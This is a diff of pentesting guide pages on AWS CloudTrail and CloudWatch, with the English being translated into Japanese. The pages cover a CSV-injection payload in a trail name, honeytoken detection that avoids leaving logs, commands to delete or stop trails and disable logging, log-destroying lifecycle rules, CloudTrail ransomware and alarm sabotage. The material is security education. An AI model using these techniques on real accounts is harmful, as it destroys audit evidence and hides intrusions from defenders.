## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,23 +122,20 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` +### **CSVインジェクション** -### **CSV Injection** - -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +CloudTrail内でCSVインジェクションを実行することが可能で、ログがCSV形式でエクスポートされ、Excelで開かれると任意のコードが実行されます。\ +次のコードは、ペイロードを含む悪いトレイル名のログエントリを生成します： ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - For more information about CSV Injections check the page: {{#ref}} @@ -150,100 +144,91 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **検出のバイパス** -### HoneyTokens **bypass** +### HoneyTokens **バイパス** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokensは**機密情報の流出を検出するために作成されます**。AWSの場合、これらは**使用が監視されているAWSキー**です。そのキーでアクションがトリガーされると、誰かがそのキーを盗んだことになります。 -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +しかし、[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)によって作成されたHoneytokensは、認識可能なアカウント名を使用するか、すべての顧客に対して同じAWSアカウントIDを使用しています。したがって、Cloudtrailにログを作成させることなくアカウント名やアカウントIDを取得できれば、**そのキーがHoneytokenかどうかを知ることができます**。 -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属しているかを検出するためのいくつかのルールがあります：** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- **`canarytokens.org`**がロール名に表示されるか、エラーメッセージにアカウントID **`534261010715`**が表示される場合。 +- 最近テストしたところ、彼らはアカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。 +- エラーメッセージのロール名に**`SpaceCrab`**が表示される場合。 +- **SpaceSiren**はユーザー名を生成するために**uuids**を使用します：`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- **名前がランダムに生成されたように見える場合**、それがHoneyTokenである可能性が高いです。 -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### キーIDからアカウントIDを取得する +**アクセスキー**内の**エンコードされた**情報から**アカウントID**を取得でき、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合できます： ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` - Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### Do not generate a log +#### ログを生成しない -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +これに対する最も効果的な手法は実際にはシンプルです。見つけたキーを使って、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。 -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +出力には、アカウントIDとアカウント名を示すエラーが表示されるため、**それがハニートークンであるかどうかを確認できます**。 -#### AWS services without logs +#### ログなしのAWSサービス -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. +過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**（[ここにリストがあります](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)）。これらのサービスのいくつかは、無許可の者（ハニートークンキー）がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。 -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +この方法で、**攻撃者はログをトリガーせずにキーのARNを取得できます**。ARNには、攻撃者が**AWSアカウントIDと名前**を見ることができ、ハニートークンの企業アカウントIDと名前を知るのは簡単です。これにより、攻撃者はトークンがハニートークンであるかどうかを特定できます。 ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、独自に見つける必要があるかもしれません... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> 詳細については、[**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。 -### Accessing Third Infrastructure +### 第三者インフラへのアクセス -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +特定のAWSサービスは、**データベース**や**Kubernetes**クラスター（EKS）などの**インフラを生成します**。ユーザーがこれらのサービス（Kubernetes APIなど）に直接話しかける場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。 -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +したがって、EKSにアクセスできるユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、**CloudTrailに検出されることなくAPIサービスに直接話しかけることができます**。 -More info in: +詳細は以下を参照してください： {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### CloudTrail設定の変更 +#### トレイルの削除 ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### トレイルを停止する ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### マルチリージョンログ記録を無効にする ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### イベントセレクタによるログの無効化 ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,49 +236,42 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +最初の例では、単一のイベントセレクターが単一のオブジェクトを持つJSON配列として提供されます。`"ReadWriteType": "ReadOnly"`は、**イベントセレクターが読み取り専用イベントのみをキャプチャするべきである**ことを示しています（したがって、CloudTrailのインサイトは**書き込み**イベントをチェックしません）。 -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +特定の要件に基づいてイベントセレクターをカスタマイズできます。 +#### S3ライフサイクルポリシーによるログの削除 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### バケット設定の変更 -### Modifying Bucket Configuration +- S3バケットを削除する +- CloudTrailサービスからの書き込みを拒否するようにバケットポリシーを変更する +- オブジェクトを削除するためにS3バケットにライフサイクルポリシーを追加する +- CloudTrailログを暗号化するために使用されるKMSキーを無効にする -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Cloudtrailランサムウェア -### Cloudtrail ransomware +#### S3ランサムウェア -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +**非対称キーを生成**し、そのキーで**CloudTrailがデータを暗号化**し、**秘密鍵を削除**することで、CloudTrailの内容を回復できなくすることができます。\ +これは基本的に**S3-KMSランサムウェア**で、以下に説明されています： {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**KMSランサムウェア** -This is an easiest way to perform the previous attack with different permissions requirements: +これは、異なる権限要件で前述の攻撃を実行する最も簡単な方法です： {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **参考文献** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..84a1e7255 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** は、ログ/メトリクス/イベントの形で監視および運用 **データ** を収集し、**AWSリソース**、アプリケーション、サービスの **統一ビュー** を提供します。\ +CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あります。\ +高解像度アラームを設定し、**ログ** と **メトリクス** を並べて視覚化し、自動化されたアクションを実行し、問題をトラブルシュートし、アプリケーションを最適化するための洞察を発見できます。 -You can monitor for example logs from CloudTrail. Events that are monitored: +例えば、CloudTrail のログを監視できます。監視されるイベント： -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- セキュリティグループおよび NACL の変更 +- EC2 インスタンスの起動、停止、再起動、および終了 +- IAM および S3 内のセキュリティポリシーの変更 +- AWS マネジメントコンソールへのログイン試行の失敗 +- 認証に失敗した API コール +- CloudWatch での検索フィルター: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) ## Key concepts ### Namespaces -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +名前空間は、CloudWatch メトリクスのコンテナです。メトリクスを分類および分離するのに役立ち、管理および分析が容易になります。 -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **例**: EC2 関連メトリクスのための AWS/EC2、RDS メトリクスのための AWS/RDS。 ### Metrics -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +メトリクスは、AWS リソースのパフォーマンスまたは利用状況を表す時間経過に伴って収集されたデータポイントです。メトリクスは、AWS サービス、カスタムアプリケーション、またはサードパーティの統合から収集できます。 -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **例**: CPUUtilization、NetworkIn、DiskReadOps。 ### Dimensions -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +ディメンションは、メトリクスの一部であるキーと値のペアです。メトリクスを一意に識別し、追加のコンテキストを提供するのに役立ち、メトリクスに関連付けられるディメンションの最大数は 30 です。ディメンションは、特定の属性に基づいてメトリクスをフィルタリングおよび集約することも可能です。 -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **例**: EC2 インスタンスの場合、ディメンションには InstanceId、InstanceType、AvailabilityZone が含まれる場合があります。 ### Statistics -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +統計は、メトリクスデータに対して行われる数学的計算で、時間経過に伴って要約します。一般的な統計には、平均、合計、最小、最大、サンプル数が含まれます。 -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **例**: 1 時間の間に平均 CPU 利用率を計算する。 ### Units -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +単位は、メトリクスに関連付けられた測定タイプです。単位は、メトリクスデータにコンテキストと意味を提供するのに役立ちます。一般的な単位には、パーセント、バイト、秒、カウントが含まれます。 -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **例**: CPUUtilization はパーセントで測定される場合があり、NetworkIn はバイトで測定される場合があります。 ## CloudWatch Features ### Dashboard -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**CloudWatch Dashboards** は、あなたの AWS CloudWatch メトリクスのカスタマイズ可能な **ビュー** を提供します。データを視覚化し、リソースを単一のビューで監視するために、さまざまな AWS サービスからの異なるメトリクスを組み合わせてダッシュボードを作成および構成できます。 -**Key Features**: +**主な機能**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **ウィジェット**: グラフ、テキスト、アラームなど、ダッシュボードの構成要素。 +- **カスタマイズ**: レイアウトとコンテンツは、特定の監視ニーズに合わせてカスタマイズできます。 -**Example Use Case**: +**例の使用ケース**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- EC2 インスタンス、RDS データベース、S3 バケットを含む、あなたの全 AWS 環境の主要メトリクスを表示する単一のダッシュボード。 ### Metric Stream and Metric Data -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスをほぼリアルタイムで選択した宛先に継続的にストリーミングすることを可能にします。これは、AWS の外部ツールを使用した高度な監視、分析、およびカスタムダッシュボードに特に便利です。 -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Metric Streams 内のメトリクスデータ** は、ストリーミングされている実際の測定値またはデータポイントを指します。これらのデータポイントは、AWS リソースの CPU 利用率、メモリ使用量など、さまざまなメトリクスを表します。 -**Example Use Case**: +**例の使用ケース**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- 高度な分析のために、リアルタイムメトリクスをサードパーティの監視サービスに送信する。 +- 長期保存およびコンプライアンスのために、Amazon S3 バケットにメトリクスをアーカイブする。 ### Alarm -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**CloudWatch Alarms** は、メトリクスを監視し、事前定義された閾値に基づいてアクションを実行します。メトリクスが閾値を超えると、アラームは SNS 経由で通知を送信したり、オートスケーリングポリシーをトリガーしたり、AWS Lambda 関数を実行したりするなど、1 つ以上のアクションを実行できます。 -**Key Components**: +**主なコンポーネント**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **閾値**: アラームがトリガーされる値。 +- **評価期間**: データが評価される期間の数。 +- **アラームのためのデータポイント**: アラームをトリガーするために必要な閾値に達した期間の数。 +- **アクション**: アラーム状態がトリガーされたときに何が起こるか（例：SNS 経由で通知）。 -**Example Use Case**: +**例の使用ケース**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- EC2 インスタンスの CPU 利用率を監視し、5 分間連続して 80% を超えた場合に SNS 経由で通知を送信する。 ### Anomaly Detectors -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Anomaly Detectors** は、機械学習を使用してメトリクスの異常を自動的に検出します。異常検出を任意の CloudWatch メトリクスに適用して、問題を示す可能性のある通常のパターンからの逸脱を特定できます。 -**Key Components**: +**主なコンポーネント**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **モデルのトレーニング**: CloudWatch は、過去のデータを使用してモデルをトレーニングし、正常な動作がどのようなものかを確立します。 +- **異常検出バンド**: メトリクスの期待される値の範囲を視覚的に表現したもの。 -**Example Use Case**: +**例の使用ケース**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- セキュリティ侵害やアプリケーションの問題を示す可能性のある EC2 インスタンスの異常な CPU 利用パターンを検出する。 ### Insight Rules and Managed Insight Rules -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Insight Rules** は、**強力な数学的表現** を使用してメトリクスデータ内のトレンド、スパイク、またはその他の興味深いパターンを特定することを可能にします。これらのルールは、リソースのパフォーマンスと利用状況における異常や異常な動作を特定するのに役立ちます。 -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Managed Insight Rules** は、AWS によって提供される事前構成された **インサイトルール** です。特定の AWS サービスや一般的な使用ケースを監視するように設計されており、詳細な構成なしで有効にできます。 -**Example Use Case**: +**例の使用ケース**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- RDS パフォーマンスの監視: CPU 利用率、メモリ使用量、ディスク I/O などの主要なパフォーマンス指標を監視する Amazon RDS のための管理インサイトルールを有効にします。これらのメトリクスのいずれかが安全な運用閾値を超えた場合、ルールはアラートまたは自動的な緩和アクションをトリガーできます。 ### CloudWatch Logs -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +アプリケーションおよびシステムからの **ログを集約および監視** することを可能にし、**AWSサービス**（CloudTrail を含む）および **アプリ/システム** からのログを集約します（**CloudWatch Agent** をホストにインストールできます）。ログは **無期限に保存** でき（ロググループの設定による）、エクスポートできます。 -**Elements**: +**要素**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **ロググループ** | 同じ保持、監視、およびアクセス制御設定を共有する **ログストリームのコレクション** | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **ログストリーム** | **同じソース** を共有する **ログイベント** のシーケンス | +| **サブスクリプションフィルター** | 特定のロググループ内のイベントに一致する **フィルターパターンを定義し**、それらを Kinesis Data Firehose ストリーム、Kinesis ストリーム、または Lambda 関数に送信します | ### CloudWatch Monitoring & Events -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch の **基本** は、データを **5 分ごとに集約** します（**詳細** は **1 分ごとに集約** します）。集約後、アラームの閾値を **チェック** し、トリガーする必要があるかどうかを確認します。\ +その場合、CloudWatch はイベントを送信し、自動アクション（AWS Lambda 関数、SNS トピック、SQS キュー、Kinesis ストリーム）を実行する準備ができます。 ### Agent Installation -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +マシン/コンテナ内にエージェントをインストールして、ログを自動的に CloudWatch に送信できます。 -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **ロールを作成** し、**インスタンスに添付** して、CloudWatch がインスタンスからデータを収集し、AWS Systems Manager SSM と対話できるようにする権限を付与します（CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM）。 +- **エージェントをダウンロード** し、**EC2 インスタンスにインストール** します ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。EC2 内からダウンロードするか、AWS Systems Manager を使用して自動的にインストールできます。パッケージ AWS-ConfigureAWSPackage を選択します。 +- **CloudWatch Agent を構成** し、**起動** します。 -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. +ロググループには多くのストリームがあります。ストリームには多くのイベントがあります。そして、各ストリーム内のイベントは順序が保証されています。 ## Enumeration - ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +この権限を持つ攻撃者は、組織の監視およびアラートインフラストラクチャを大きく損なう可能性があります。既存のアラームを削除することで、攻撃者は管理者に重要なパフォーマンスの問題、セキュリティ侵害、または運用の失敗を通知する重要なアラートを無効にすることができます。さらに、メトリックアラームを作成または変更することで、攻撃者は誤ったアラートで管理者を誤導したり、正当なアラームを無効にしたりすることができ、悪意のある活動を隠蔽し、実際のインシデントへの迅速な対応を妨げることができます。 +さらに、**`cloudwatch:PutCompositeAlarm`** 権限を持つ攻撃者は、複合アラームAが複合アラームBに依存し、複合アラームBも複合アラームAに依存するような複合アラームのループまたはサイクルを作成することができます。このシナリオでは、サイクルの一部である複合アラームを削除することは不可能です。なぜなら、削除したいアラームに依存する複合アラームが常に存在するからです。 ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +以下の例は、メトリックアラームを無効にする方法を示しています： -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- このメトリックアラームは、特定のEC2インスタンスの平均CPU使用率を監視し、300秒ごとにメトリックを評価し、6つの評価期間（合計30分）を必要とします。平均CPU使用率がこれらの期間のうち少なくとも4つで60%を超えると、アラームがトリガーされ、指定されたSNSトピックに通知が送信されます。 +- 閾値を99%を超えるように変更し、期間を10秒に設定し、評価期間を8640に設定すると（8640期間の10秒は1日に相当）、CPU使用率が24時間全体で10秒ごとに99%を超える必要があり、アラームがトリガーされます。 {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="修正されたメトリックアラーム" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 